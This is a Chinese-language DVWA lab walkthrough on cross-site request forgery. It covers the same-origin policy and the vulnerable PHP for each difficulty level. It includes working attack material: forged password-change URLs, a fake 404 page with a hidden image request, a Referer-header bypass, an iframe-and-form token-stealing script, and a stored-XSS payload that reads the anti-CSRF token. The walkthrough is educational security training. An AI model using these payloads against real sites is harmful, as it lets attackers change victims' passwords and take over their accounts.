CSRF
什么是CSRF:
CSRF跨站请求伪造(Cross Site Request Forgery),黑客诱导用户点击带有伪造请求(修改密码,转账,删除文章等高风险操作请求)链接后,利用未失效的用户认证信息,产生服务器验证请求通过,导致用户在不知情的情况下进行了转账等操作。
与XSS的区别:
XSS是通过修改页面JavaScript等代码后,发给用户从而实现盗取cookie信息,之后利用cookie进行登陆网站等操作。非法操作是黑客。利用的是用户对指定网站的信任。
CSRF并没有盗取cookie信息,而是通过用户直接利用cookie进行操作。非法操作的并不是黑客,而是利用客户本身。CSRF攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求响应。利用网站对用户网页浏览器的信任。
同源策略:
含义:A网页设置的cookie,B网页不能打开,除非这两个网页”同源”,同源指(三个相同):
- 协议相同
- 域名相同
- 端口相同
举例说明:
http://www.example.com/dir/page.html
这个网址,协议是http://
,域名是www.example.com
,端口是80
(默认)。它的同源情况:http://www.example.com/dir/otherpage.html
(同源)http://example.com/dir/page.html
(不同源,域名不同)https://www.example.com/dir/page.html
(不同源,协议不同)
同源策略的目的:
为了保证用户信息的安全,防止恶意的网站窃取数据。
同源限制范围:
cookie、LocalStorage(本地存储)、indexDB无法读取,Dom无法获得,AJAX请求不能发送。
CSRF跨站请求伪造:
1.原理总结
一个CSRF漏洞攻击的实现,由三部分构成:
- 有一个漏洞存在(无需验证、任意修改后台数据、新增请求)
- 伪造数据操作请求的恶意连接或者页面
- 诱使用户主动的访问恶意连接
2.漏洞存在
关键字:跨站请求漏洞
如果需要CSRF攻击能够成功,首先就需要目标站点或者系统存在一个可以进行数据修改和新增的操作,且此操作被提交到后台的过程中,其为提供任何身份验证或身份校验的参数。后台只要收到请求,就立即下发数据修改或新增的操作。
此漏洞出现较多的场景用户密码修改、购物地址的修改、后台管理账户操作过程中。
3.漏洞利用的伪装
关键字:伪装请求
CSRF漏洞存在了,如果真正的利用,还需要对修改或新增数据操作请求的伪装,此时恶意攻击者只要将伪装好”数据修改或新增”的请求发送给被攻击者,或者通过社工的方式诱使被攻击者在其cookie还生效的情况下点击了此请求连接,即可触发CSRF漏洞,成功修改或新增当前用户的数据信息,如修改当前用户密码,或触发漏洞新增一个后台管理员。
low
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
mysql_real_escape_string(): 转义SQL语句中使用的字符串中的特殊字符。如下:
- \x00
- \n
- \r
- \
- ’
- ”
- \x1a
代码对SQL注入进行了防御,而没有对密码的修改进行二次验证。
在修改密码处修改密码,将密码改为123456,点击change,提示修改成功。
但此时的网页URL也变为了:
http://192.168.216.129/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
很明显可以被发现我们的密码被改变了。
我们直接在URL处进行密码修改:
http://192.168.216.129/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
发现密码改回。这就是一个简单的CSRF攻击,但是很容易被发现。
对CSRF进行优化:
- 利用短链接工具将URL缩短,增强欺骗性。如:
生成短链接,不易被发现
但是修改密码后还是会出现密码修改的痕迹。
- 构建一个页面,诱导用户去点击
<html>
<head>
<meta charset="utf-8">
<title>404 Not Found</title>
</head>
<body>
<img src="http://192.168.216.129/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#" border="0" style="display:none;"/>
<center>
<h1>404 Not Found</h1>
<center>
</body>
</html>
当用户点击后,会误认为这是个错误的页面,而不在意,但是密码已经被修改为123。
medium
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
medium类型的代码在low级别上,加上了对用户请求头的Referer字段进行验证。
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
即用户的请求头中的Referer字段必须包含服务器的名字。
- 我们可以将攻击页面名修改为192.168.216.129.html(改为包含主机名)进行绕过。
- 因为增加了对Referer头的检测,所以我们直接访问之前的链接是无法成功的。
http://192.168.216.129/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
我们可以用burp抓包,自己增加一个Referer头:
成功修改。
high
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
high级别代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检测token,只有token正确,才会处理客户端的请求。
攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见的框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密码的请求,以完成CSRF攻击。
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="utf-8">
<title><title>
<script type="text/javascript">
//获取用户的token,并设置为表单中的token,然后提交修改密码的表单
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
</head>
<body onload="attack()">
<iframe src="http://192.168.216.129/dvwa/vulnerabilities/csrf/" id="hack" style="display:none;"> <!--在该网页内打开另一个网页-->
</iframe>
<form method="GET" id="transfer" action="http://192.168.216.129/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="admin">
<input type="hidden" name="password_conf" value="admin">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>
但是还有一个问题,同源策略,由于我们框架iframe要访问的链接是http://192.168.216.129/dvwa/vulnerabilities/csrf/
,这是漏洞网站服务器的链接。而我们的脚本执行的位置是我们自己搭建的一个服务器,所以我们的攻击脚本是不可能跨取到改密界面的user_token。
在这里,我们想要获取用户的token,并提交修改密码的表单的话,就必须得把我们的攻击脚本注入到目标服务器中。而想要注入到目标服务器,同时得发挥作用,获取用户的token修改密码的话,就要和XSS漏洞一起结合实现。
将下列代码通过存储型XSS插入到数据库中,这语句会弹出用户的token:
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)></iframe>
impossible
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
impossible级别代码在防护CSRF中,需要知道原始密码,而我们并不知道,所以无法进行CSRF攻击。